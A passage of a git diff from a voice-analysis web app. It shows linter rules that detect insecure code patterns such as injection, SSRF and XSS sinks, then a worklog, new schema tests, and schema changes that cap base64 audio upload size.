"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/empty-switch-case.yml"
|
||||
},
|
||||
{
|
||||
"id": "no-eval",
|
||||
"name": "Eval Usage",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "eval() detected — security risk, never use eval",
|
||||
"query": " (call_expression\n function: (identifier) @FUNC\n (#eq? @FUNC \"eval\")\n arguments: (arguments) @ARGS)",
|
||||
"metavars": [
|
||||
"FUNC",
|
||||
"ARGS"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/eval.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-incomplete-assertion",
|
||||
"name": "Incomplete Test Assertion",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Incomplete assertion — expect() chain is not called",
|
||||
"query": " (call_expression\n function: (identifier) @EXPECT\n (#eq? @EXPECT \"expect\")\n arguments: (arguments)) @EXPR",
|
||||
"metavars": [
|
||||
"EXPECT",
|
||||
"EXPR"
|
||||
],
|
||||
"post_filter": "incomplete_assertion",
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/incomplete-assertion.yml"
|
||||
},
|
||||
{
|
||||
"id": "infinite-loop",
|
||||
"name": "Loops Should Not Be Infinite",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Loop appears to be infinite with no termination condition",
|
||||
"query": " (while_statement\n condition: (true)\n body: (statement_block) @BODY)\n (for_statement\n condition: (null)\n body: (statement_block) @BODY)",
|
||||
"metavars": [
|
||||
"BODY"
|
||||
],
|
||||
"post_filter": "no_break_or_return_in_body",
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/infinite-loop.yml"
|
||||
},
|
||||
{
|
||||
"id": "mixed-async-styles",
|
||||
"name": "Mixed Async/Await and Promise Chains",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Mixed async/await + promise chains — use consistent async style",
|
||||
"query": " (function_declaration\n (async_modifier)\n body: (statement_block) @BODY)\n\n# Post-filter: Check if body contains both await and .then()",
|
||||
"metavars": [
|
||||
"BODY"
|
||||
],
|
||||
"post_filter": "has_mixed_async",
|
||||
"defect_class": "async-misuse",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/mixed-async-styles.yml"
|
||||
},
|
||||
{
|
||||
"id": "no-console-in-tests",
|
||||
"name": "Console Statement in Test",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "console.{{METHOD}} in test block — use proper assertions or logging",
|
||||
"query": " (call_expression\n function: (member_expression\n object: (identifier) @OBJ (#eq? @OBJ \"console\")\n property: (property_identifier) @METHOD)\n arguments: (arguments) @ARGS)",
|
||||
"metavars": [
|
||||
"OBJ",
|
||||
"METHOD",
|
||||
"ARGS"
|
||||
],
|
||||
"post_filter": "in_test_block",
|
||||
"defect_class": "safety",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/no-console-in-tests.yml"
|
||||
},
|
||||
{
|
||||
"id": "self-assignment",
|
||||
"name": "Variables Should Not Be Self-Assigned",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "'{{VAR}}' is assigned to itself",
|
||||
"query": " (assignment_expression\n left: (identifier) @VAR\n right: (identifier) @SAME\n (#eq? @VAR @SAME))",
|
||||
"metavars": [
|
||||
"VAR",
|
||||
"SAME"
|
||||
],
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/self-assignment.yml"
|
||||
},
|
||||
{
|
||||
"id": "sql-injection",
|
||||
"name": "SQL Injection Risk",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "SQL injection risk — use parameterized queries, never interpolate into SQL",
|
||||
"query": " (call_expression\n function: [\n (identifier) @SQL_FUNC\n (member_expression property: (property_identifier) @SQL_FUNC)\n ]\n arguments: (arguments\n (template_string (template_substitution) @INTERPOLATION))\n (#match? @SQL_FUNC \"^(query|execute|exec|run)$\"))",
|
||||
"metavars": [
|
||||
"SQL_FUNC",
|
||||
"INTERPOLATION"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/sql-injection.yml"
|
||||
},
|
||||
{
|
||||
"id": "switch-case-termination",
|
||||
"name": "Switch Cases Should End With Terminating Statement",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Switch case should end with break, return, throw, or continue",
|
||||
"query": " (switch_statement\n body: (switch_body\n (switch_case\n consequence: (statement_block\n (expression_statement) @LAST))\n (switch_case) @NEXT))",
|
||||
"metavars": [
|
||||
"LAST",
|
||||
"NEXT"
|
||||
],
|
||||
"post_filter": "no_terminating_statement",
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/switch-case-termination.yml"
|
||||
},
|
||||
{
|
||||
"id": "switch-non-case-labels-ts",
|
||||
"name": "Switch Should Not Contain Non-Case Labels",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "switch statements should not contain non-case labels",
|
||||
"query": " (switch_statement\n body: (switch_body\n (switch_case\n (labeled_statement\n (statement_identifier) @LABEL) @LABELED)))",
|
||||
"metavars": [
|
||||
"LABEL",
|
||||
"LABELED"
|
||||
],
|
||||
"defect_class": "correctness",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/switch-non-case-labels.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-command-injection",
|
||||
"name": "Command Injection Sink",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Potential command injection sink — avoid child_process command execution with untrusted input",
|
||||
"query": " [\n (call_expression\n function: (member_expression\n object: (identifier) @MOD\n property: (property_identifier) @FN)\n arguments: (arguments) @ARGS\n (#eq? @MOD \"child_process\")\n (#match? @FN \"^(exec|execSync)$\"))\n (call_expression\n function: (member_expression\n object: (member_expression\n object: (identifier) @MOD\n property: (property_identifier) @NS)\n property: (property_identifier) @FN)\n arguments: (arguments) @ARGS\n (#eq? @MOD \"child_process\")\n (#match? @FN \"^(exec|execSync)$\"))\n ]",
|
||||
"metavars": [
|
||||
"MOD",
|
||||
"NS",
|
||||
"FN",
|
||||
"ARGS"
|
||||
],
|
||||
"post_filter": "ts_command_injection_sink",
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-command-injection.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-detached-async-call",
|
||||
"name": "Detached Async Call",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Detached async call — ensure this Promise is awaited or explicitly handled",
|
||||
"query": " (expression_statement\n (call_expression\n function: [\n (identifier) @FN\n (member_expression\n property: (property_identifier) @FN)\n ]\n arguments: (arguments) @ARGS)\n (#match? @FN \"(Async$|fetch$|request$)\"))",
|
||||
"metavars": [
|
||||
"FN",
|
||||
"ARGS"
|
||||
],
|
||||
"post_filter": "ts_detached_async_call",
|
||||
"defect_class": "async-misuse",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-detached-async-call.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-dynamic-require",
|
||||
"name": "Dynamic Require Injection",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Dynamic require() — non-literal argument allows loading arbitrary modules",
|
||||
"query": " (call_expression\n function: (identifier) @FN\n arguments: (arguments [(identifier) (member_expression) (call_expression) (await_expression)] @ARG)\n (#eq? @FN \"require\"))",
|
||||
"metavars": [
|
||||
"FN",
|
||||
"ARG"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-dynamic-require.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-hallucinated-react-import",
|
||||
"name": "Hallucinated React Import",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "'{NAME}' is a Next.js API, not from 'react' — import from 'next/{CORRECT}' instead",
|
||||
"query": " (import_statement\n (import_clause\n (named_imports\n (import_specifier\n name: (identifier) @NAME)))\n source: (string) @SRC)\n (#match? @SRC \"^['\\\"]react['\\\"]$\")\n (#match? @NAME \"^(useRouter|usePathname|useSearchParams|useParams|Link|Image|Script|Head|getServerSideProps|getStaticProps|getStaticPaths|NextPage|NextApiRequest|NextApiResponse|GetServerSideProps|GetStaticProps|GetStaticPaths|notFound|redirect|permanentRedirect)$\")",
|
||||
"metavars": [
|
||||
"NAME",
|
||||
"SRC"
|
||||
],
|
||||
"post_filter": "match_captures",
|
||||
"post_filter_params": {
|
||||
"SRC": "^['\\\"]react['\\\"]$",
|
||||
"NAME": "^(useRouter|usePathname|useSearchParams|useParams|Link|Image|Script|Head|getServerSideProps|getStaticProps|getStaticPaths|NextPage|NextApiRequest|NextApiResponse|GetServerSideProps|GetStaticProps|GetStaticPaths|notFound|redirect|permanentRedirect)$"
|
||||
},
|
||||
"defect_class": "hallucination",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-hallucinated-react-import.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-insecure-random",
|
||||
"name": "Insecure Randomness",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Insecure randomness source detected — use crypto.getRandomValues or secure RNG APIs",
|
||||
"query": " (variable_declarator\n name: (identifier) @VAR\n value: (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments) @ARGS)\n (#eq? @OBJ \"Math\")\n (#eq? @FN \"random\")\n (#match? @VAR \"(?i)(token|secret|password|key|nonce|salt|csrf|auth|session|credential|hash|otp|pin)\"))",
|
||||
"metavars": [
|
||||
"OBJ",
|
||||
"FN",
|
||||
"ARGS",
|
||||
"VAR"
|
||||
],
|
||||
"post_filter": "ts_insecure_random_source",
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-insecure-random.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-nosql-injection",
|
||||
"name": "NoSQL Injection",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "NoSQL injection — $where executes JavaScript server-side and must never be used with user input",
|
||||
"query": " (pair\n key: [(property_identifier) (string)] @KEY\n (#match? @KEY \"\\\\$where\"))",
|
||||
"metavars": [
|
||||
"KEY"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-nosql-injection.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-open-redirect",
|
||||
"name": "Open Redirect",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Open redirect — unvalidated URL in redirect/location lets attackers send users to malicious sites",
|
||||
"query": " [\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (identifier) @URL)\n (#match? @OBJ \"^(res|response|ctx|context)$\")\n (#eq? @FN \"redirect\"))\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (member_expression) @URL)\n (#match? @OBJ \"^(res|response|ctx|context)$\")\n (#eq? @FN \"redirect\"))\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (call_expression) @URL)\n (#match? @OBJ \"^(res|response|ctx|context)$\")\n (#eq? @FN \"redirect\"))\n ]\n [\n (assignment_expression\n left: (member_expression\n object: (member_expression\n object: (identifier) @WIN\n property: (property_identifier) @LOC)\n property: (property_identifier) @PROP)\n right: (identifier) @VALUE\n (#eq? @WIN \"window\")\n (#eq? @LOC \"location\")\n (#eq? @PROP \"href\"))\n (assignment_expression\n left: (member_expression\n object: (member_expression\n object: (identifier) @WIN\n property: (property_identifier) @LOC)\n property: (property_identifier) @PROP)\n right: (member_expression) @VALUE\n (#eq? @WIN \"window\")\n (#eq? @LOC \"location\")\n (#eq? @PROP \"href\"))\n (assignment_expression\n left: (member_expression\n object: (member_expression\n object: (identifier) @WIN\n property: (property_identifier) @LOC)\n property: (property_identifier) @PROP)\n right: (call_expression) @VALUE\n (#eq? @WIN \"window\")\n (#eq? @LOC \"location\")\n (#eq? @PROP \"href\"))\n ]",
|
||||
"metavars": [
|
||||
"OBJ",
|
||||
"FN",
|
||||
"URL",
|
||||
"WIN",
|
||||
"LOC",
|
||||
"PROP",
|
||||
"VALUE"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-open-redirect.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-react-antipatterns",
|
||||
"name": "React Anti-Pattern",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "React anti-pattern: setState inside a loop causes multiple re-renders — batch with a single state update",
|
||||
"query": " [\n (for_statement\n (statement_block) @BODY\n (#match? @BODY \"set[A-Z]\")\n (#not-match? @BODY \"set(Timeout|Interval|Immediate)\"))\n (for_in_statement\n (statement_block) @BODY\n (#match? @BODY \"set[A-Z]\")\n (#not-match? @BODY \"set(Timeout|Interval|Immediate)\"))\n (while_statement\n (statement_block) @BODY\n (#match? @BODY \"set[A-Z]\")\n (#not-match? @BODY \"set(Timeout|Interval|Immediate)\"))\n ]",
|
||||
"metavars": [
|
||||
"BODY"
|
||||
],
|
||||
"defect_class": "logic-error",
|
||||
"inline_tier": "warning",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-react-antipatterns.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-ssrf",
|
||||
"name": "SSRF Risk",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Potential SSRF sink — validate and allowlist outbound URLs",
|
||||
"query": " [\n (call_expression\n function: (identifier) @FN\n arguments: (arguments [(identifier) (member_expression) (call_expression) (await_expression)] @URL)\n (#match? @FN \"^(fetch|get|post|put|patch|delete|request)$\"))\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments [(identifier) (member_expression) (call_expression) (await_expression)] @URL)\n (#match? @FN \"^(fetch|get|post|put|patch|delete|request)$\"))\n ]",
|
||||
"metavars": [
|
||||
"OBJ",
|
||||
"FN",
|
||||
"URL"
|
||||
],
|
||||
"post_filter": "ts_ssrf_sink",
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-ssrf.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-weak-hash",
|
||||
"name": "Weak Hash Primitive",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Weak hash primitive selected (md5/sha1) — use sha256+ for security-sensitive contexts",
|
||||
"query": " (call_expression\n function: (member_expression\n property: (property_identifier) @FN)\n arguments: (arguments\n (string (string_fragment) @ALG)\n (_)*)\n (#eq? @FN \"createHash\")\n (#match? @ALG \"^(md5|sha1)$\"))",
|
||||
"metavars": [
|
||||
"FN",
|
||||
"ALG"
|
||||
],
|
||||
"post_filter": "ts_weak_hash_algorithm",
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-weak-hash.yml"
|
||||
},
|
||||
{
|
||||
"id": "ts-xss-dom-sink",
|
||||
"name": "XSS DOM Sink",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "XSS risk — dynamic value written to innerHTML/outerHTML or document.write()",
|
||||
"query": " [\n (assignment_expression\n left: (member_expression\n property: (property_identifier) @PROP)\n right: (identifier) @VALUE\n (#match? @PROP \"^(innerHTML|outerHTML)$\"))\n (assignment_expression\n left: (member_expression\n property: (property_identifier) @PROP)\n right: (member_expression) @VALUE\n (#match? @PROP \"^(innerHTML|outerHTML)$\"))\n (assignment_expression\n left: (member_expression\n property: (property_identifier) @PROP)\n right: (call_expression) @VALUE\n (#match? @PROP \"^(innerHTML|outerHTML)$\"))\n (assignment_expression\n left: (member_expression\n property: (property_identifier) @PROP)\n right: (await_expression) @VALUE\n (#match? @PROP \"^(innerHTML|outerHTML)$\"))\n ]\n [\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (identifier) @ARG)\n (#eq? @OBJ \"document\")\n (#match? @FN \"^(write|writeln)$\"))\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (member_expression) @ARG)\n (#eq? @OBJ \"document\")\n (#match? @FN \"^(write|writeln)$\"))\n (call_expression\n function: (member_expression\n object: (identifier) @OBJ\n property: (property_identifier) @FN)\n arguments: (arguments (call_expression) @ARG)\n (#eq? @OBJ \"document\")\n (#match? @FN \"^(write|writeln)$\"))\n ]",
|
||||
"metavars": [
|
||||
"PROP",
|
||||
"VALUE",
|
||||
"OBJ",
|
||||
"FN",
|
||||
"ARG"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/ts-xss-dom-sink.yml"
|
||||
},
|
||||
{
|
||||
"id": "unsafe-regex",
|
||||
"name": "Dynamic Regex Construction",
|
||||
"severity": "error",
|
||||
"language": "typescript",
|
||||
"message": "Dynamic regex from user input — can cause ReDoS (Regular Expression Denial of Service)",
|
||||
"query": " (new_expression\n constructor: (identifier) @CTOR\n (#eq? @CTOR \"RegExp\")\n arguments: (arguments\n (template_string\n (template_substitution) @INTERPOLATION) @PATTERN)\n (#not-match? @INTERPOLATION \"escape|Escape|replace\"))",
|
||||
"metavars": [
|
||||
"CTOR",
|
||||
"INTERPOLATION",
|
||||
"PATTERN"
|
||||
],
|
||||
"defect_class": "injection",
|
||||
"inline_tier": "blocking",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/unsafe-regex.yml"
|
||||
},
|
||||
{
|
||||
"id": "variable-shadowing",
|
||||
"name": "Variable Shadowing",
|
||||
"severity": "warning",
|
||||
"language": "typescript",
|
||||
"message": "Variable '{{NAME}}' shadows a parameter — use a distinct name",
|
||||
"query": " (function_declaration\n parameters: (formal_parameters\n (required_parameter\n pattern: (identifier) @PARAM))\n body: (statement_block\n (lexical_declaration\n (variable_declarator\n name: (identifier) @NAME))))",
|
||||
"metavars": [
|
||||
"PARAM",
|
||||
"NAME"
|
||||
],
|
||||
"post_filter": "name_matches_param",
|
||||
"defect_class": "safety",
|
||||
"inline_tier": "review",
|
||||
"filePath": "/Users/mike/.pi/agent/npm/node_modules/pi-lens/rules/tree-sitter-queries/typescript/variable-shadowing.yml"
|
||||
}
|
||||
]
|
||||
}
|
||||
4
web/.pi-lens/worklog.jsonl
Normal file
4
web/.pi-lens/worklog.jsonl
Normal file
@@ -0,0 +1,4 @@
|
||||
{"timestamp":"2026-05-29T00:26:16.299Z","filePath":"/Users/mike/Code/Kordant/web/src/server/websocket.ts","rule":"console-statement","tool":"tree-sitter","message":"log — remove debug statements before committing","line":157,"column":5,"fixable":true,"fixSuggestion":"remove this statement","autoFixed":false}
|
||||
{"timestamp":"2026-05-29T00:26:16.299Z","filePath":"/Users/mike/Code/Kordant/web/src/server/websocket.ts","rule":"console-statement","tool":"tree-sitter","message":"log — remove debug statements before committing","line":200,"column":5,"fixable":true,"fixSuggestion":"remove this statement","autoFixed":false}
|
||||
{"timestamp":"2026-05-29T00:26:16.299Z","filePath":"/Users/mike/Code/Kordant/web/src/server/websocket.ts","rule":"console-statement","tool":"tree-sitter","message":"error — remove debug statements before committing","line":285,"column":6,"fixable":true,"fixSuggestion":"remove this statement","autoFixed":false}
|
||||
{"timestamp":"2026-05-29T00:26:16.299Z","filePath":"/Users/mike/Code/Kordant/web/src/server/websocket.ts","rule":"console-statement","tool":"tree-sitter","message":"log — remove debug statements before committing","line":308,"column":5,"fixable":true,"fixSuggestion":"remove this statement","autoFixed":false}
|
||||
64
web/src/server/api/schemas/voiceprint.test.ts
Normal file
64
web/src/server/api/schemas/voiceprint.test.ts
Normal file
@@ -0,0 +1,64 @@
|
||||
import { describe, it, expect } from "vitest";
|
||||
import { safeParse } from "valibot";
|
||||
import { CreateEnrollmentSchema, AnalyzeAudioSchema } from "./voiceprint";
|
||||
|
||||
describe("CreateEnrollmentSchema", () => {
|
||||
it("accepts valid enrollment with small audio", () => {
|
||||
const data = {
|
||||
name: "My Voice",
|
||||
audioBase64: "dGVzdC1hdWRpby1iYXNlNjQ=",
|
||||
};
|
||||
const result = safeParse(CreateEnrollmentSchema, data);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects audio payload exceeding maxLength", () => {
|
||||
// ~3MB base64 string (exceeds 2.6MB default limit)
|
||||
const largeAudio = "A".repeat(3_000_000);
|
||||
const data = {
|
||||
name: "My Voice",
|
||||
audioBase64: largeAudio,
|
||||
};
|
||||
const result = safeParse(CreateEnrollmentSchema, data);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects empty audio", () => {
|
||||
const data = { name: "My Voice", audioBase64: "" };
|
||||
const result = safeParse(CreateEnrollmentSchema, data);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects missing name", () => {
|
||||
const data = { audioBase64: "dGVzdA==" };
|
||||
const result = safeParse(CreateEnrollmentSchema, data);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("AnalyzeAudioSchema", () => {
|
||||
it("accepts valid analysis request", () => {
|
||||
const data = { audioBase64: "dGVzdC1hdWRpby1iYXNlNjQ=" };
|
||||
const result = safeParse(AnalyzeAudioSchema, data);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts analysis with optional enrollmentId", () => {
|
||||
const data = { audioBase64: "dGVzdA==", enrollmentId: "enr-123" };
|
||||
const result = safeParse(AnalyzeAudioSchema, data);
|
||||
expect(result.success).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects audio payload exceeding maxLength", () => {
|
||||
const largeAudio = "A".repeat(3_000_000);
|
||||
const data = { audioBase64: largeAudio };
|
||||
const result = safeParse(AnalyzeAudioSchema, data);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects empty audio", () => {
|
||||
const data = { audioBase64: "" };
|
||||
const result = safeParse(AnalyzeAudioSchema, data);
|
||||
expect(result.success).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -1,29 +1,53 @@
|
||||
import { object, string, minLength, optional, number, picklist } from "valibot";
|
||||
import {
|
||||
object,
|
||||
string,
|
||||
minLength,
|
||||
maxLength,
|
||||
optional,
|
||||
number,
|
||||
picklist,
|
||||
} from "valibot";
|
||||
|
||||
/**
|
||||
* Maximum allowed base64-encoded audio payload length.
|
||||
* Default: ~2.6MB base64 (≈2MB decoded). Configurable via VOICEPRINT_MAX_BASE64_LENGTH.
|
||||
* Formula: maxDecodedBytes * 4/3 ≈ base64 length
|
||||
*/
|
||||
const MAX_BASE64_LENGTH = parseInt(
|
||||
process.env.VOICEPRINT_MAX_BASE64_LENGTH ?? "2621440",
|
||||
10,
|
||||
);
|
||||
|
||||
/** Maximum decoded audio size in bytes (default 2MB). */
|
||||
const MAX_DECODED_SIZE = parseInt(
|
||||
process.env.VOICEPRINT_MAX_DECODED_SIZE ?? "2097152",
|
||||
10,
|
||||
);
|
||||
|
||||
export const CreateEnrollmentSchema = object({
|
||||
name: string([minLength(1)]),
|
||||
audioBase64: string([minLength(1)]),
|
||||
name: string([minLength(1)]),
|
||||
audioBase64: string([minLength(1), maxLength(MAX_BASE64_LENGTH)]),
|
||||
});
|
||||
|
||||
export const DeleteEnrollmentSchema = object({
|
||||
enrollmentId: string([minLength(1)]),
|
||||
enrollmentId: string([minLength(1)]),
|
||||
});
|
||||
|
||||
export const AnalyzeAudioSchema = object({
|
||||
audioBase64: string([minLength(1)]),
|
||||
enrollmentId: optional(string()),
|
||||
audioBase64: string([minLength(1), maxLength(MAX_BASE64_LENGTH)]),
|
||||
enrollmentId: optional(string()),
|
||||
});
|
||||
|
||||
export const AnalysisFilterSchema = object({
|
||||
page: optional(number(), 1),
|
||||
limit: optional(number(), 20),
|
||||
verdict: optional(picklist(["NATURAL", "SYNTHETIC", "UNCERTAIN"])),
|
||||
page: optional(number(), 1),
|
||||
limit: optional(number(), 20),
|
||||
verdict: optional(picklist(["NATURAL", "SYNTHETIC", "UNCERTAIN"])),
|
||||
});
|
||||
|
||||
export const AnalysisResultSchema = object({
|
||||
analysisId: string([minLength(1)]),
|
||||
analysisId: string([minLength(1)]),
|
||||
});
|
||||
|
||||
export const JobStatusSchema = object({
|
||||
jobId: string([minLength(1)]),
|
||||
jobId: string([minLength(1)]),
|
||||
});
|
||||
|
||||
@@ -4,229 +4,331 @@ import { TRPCError } from "@trpc/server";
|
||||
const mockQueryResult = vi.fn().mockResolvedValue([]);
|
||||
|
||||
function createChain(initialPromise?: any): any {
|
||||
const p = typeof initialPromise !== "undefined" ? initialPromise : mockQueryResult();
|
||||
return new Proxy(p, {
|
||||
get(target, prop) {
|
||||
if (prop === "then" || prop === "catch" || prop === "finally") {
|
||||
return Reflect.get(target, prop).bind(target);
|
||||
}
|
||||
return () => createChain(p);
|
||||
},
|
||||
});
|
||||
const p =
|
||||
typeof initialPromise !== "undefined" ? initialPromise : mockQueryResult();
|
||||
return new Proxy(p, {
|
||||
get(target, prop) {
|
||||
if (prop === "then" || prop === "catch" || prop === "finally") {
|
||||
return Reflect.get(target, prop).bind(target);
|
||||
}
|
||||
return () => createChain(p);
|
||||
},
|
||||
});
|
||||
}
|
||||
|
||||
vi.mock("~/server/db", () => ({
|
||||
db: {
|
||||
select: vi.fn(() => createChain()),
|
||||
insert: vi.fn(() => createChain()),
|
||||
update: vi.fn(() => createChain()),
|
||||
},
|
||||
db: {
|
||||
select: vi.fn(() => createChain()),
|
||||
insert: vi.fn(() => createChain()),
|
||||
update: vi.fn(() => createChain()),
|
||||
},
|
||||
}));
|
||||
|
||||
vi.mock("./voiceprint/storage", () => ({
|
||||
saveAudio: vi.fn(),
|
||||
getAudioUrl: vi.fn(),
|
||||
deleteFile: vi.fn(),
|
||||
computeHash: vi.fn(),
|
||||
deleteAudio: vi.fn(),
|
||||
saveAudio: vi.fn(),
|
||||
getAudioUrl: vi.fn(),
|
||||
deleteFile: vi.fn(),
|
||||
computeHash: vi.fn(),
|
||||
deleteAudio: vi.fn(),
|
||||
}));
|
||||
|
||||
vi.mock("./voiceprint/ml.engine", () => ({
|
||||
preprocessAudio: vi.fn(),
|
||||
detectSynthetic: vi.fn(),
|
||||
matchVoice: vi.fn(),
|
||||
generateEmbedding: vi.fn(),
|
||||
preprocessAudio: vi.fn(),
|
||||
detectSynthetic: vi.fn(),
|
||||
matchVoice: vi.fn(),
|
||||
generateEmbedding: vi.fn(),
|
||||
}));
|
||||
|
||||
const storage = await import("./voiceprint/storage");
|
||||
const ml = await import("./voiceprint/ml.engine");
|
||||
|
||||
const mockEnrollment = {
|
||||
id: "enr-1",
|
||||
userId: "user-1",
|
||||
name: "My Voice",
|
||||
voiceHash: "hash-123",
|
||||
audioMetadata: { filePath: "/some/path.wav", duration: 2.5, sampleRate: 16000 },
|
||||
isActive: true,
|
||||
createdAt: new Date(),
|
||||
updatedAt: new Date(),
|
||||
id: "enr-1",
|
||||
userId: "user-1",
|
||||
name: "My Voice",
|
||||
voiceHash: "hash-123",
|
||||
audioMetadata: {
|
||||
filePath: "/some/path.wav",
|
||||
duration: 2.5,
|
||||
sampleRate: 16000,
|
||||
},
|
||||
isActive: true,
|
||||
createdAt: new Date(),
|
||||
updatedAt: new Date(),
|
||||
};
|
||||
|
||||
const mockAnalysis = {
|
||||
id: "ana-1",
|
||||
enrollmentId: null,
|
||||
userId: "user-1",
|
||||
audioHash: "audio-hash-1",
|
||||
isSynthetic: false,
|
||||
confidence: 0.95,
|
||||
analysisResult: { verdict: "NATURAL", score: 0.05, matchedSimilarity: null },
|
||||
audioUrl: "/uploads/voiceprint/user-1/audio-hash-1.wav",
|
||||
